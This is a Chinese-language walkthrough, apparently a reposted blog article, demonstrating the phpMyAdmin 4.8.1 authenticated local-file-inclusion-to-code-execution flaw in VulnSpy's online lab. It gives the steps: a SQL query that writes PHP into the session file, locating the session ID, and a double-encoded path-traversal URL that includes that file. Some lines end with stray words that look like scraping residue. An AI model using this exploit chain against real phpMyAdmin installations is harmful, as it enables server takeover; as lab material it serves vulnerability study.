今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞：phpmyadmin4.8.1后台getshell。该漏洞利用不要求root账号，只需可以登陆 phpMyAdmin 便可以利用。git
在这篇文章中咱们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用。github
VulnSpy 在线 phpMyAdmin 环境地址：http://www.vulnspy.com/phpmyadmin-4.8.1/sql
漏洞细节
参照ChaMd5安全团队发布的文章：phpmyadmin4.8.1后台getshellshell
漏洞利用
由于原文中包含数据库文件可能因为文件权限或者账号权限不足而没法利用，这里咱们将使用另一种方式来利用该文件包含漏洞，即包含session文件。数据库
1. 进入VulnSpy 在线 phpMyAdmin 环境地址，点击 Start to Hack ，跳转到VSPlate安全
2. 等待载入设置后，点击 GO 按钮开启实验bash
3. 实验建立完成后，点击演示地址进入实验session
4. 使用账号 root ，密码 toor 登陆 phpMyAdminui
5. 点击顶部导航栏中的SQL按钮，执行SQL查询
select '<?php phpinfo();exit;?>'
6. 获取本身的SESSION ID
你的 SESSION ID 为 Cookie 中的 phpMyAdmin 项。
这样对应的SESSION文件为/var/lib/php/sessions/sess_你的SESSION ID。
7. 包含SESSION文件，成功利用该漏洞
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
GitHub 源码
https://github.com/vulnspy/phpmyadmin-4.8.1
参考
【首发】phpmyadmin4.8.1后台getshell
phpMyAdmin 4.8.x LFI to RCE (Authorization Required) - https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/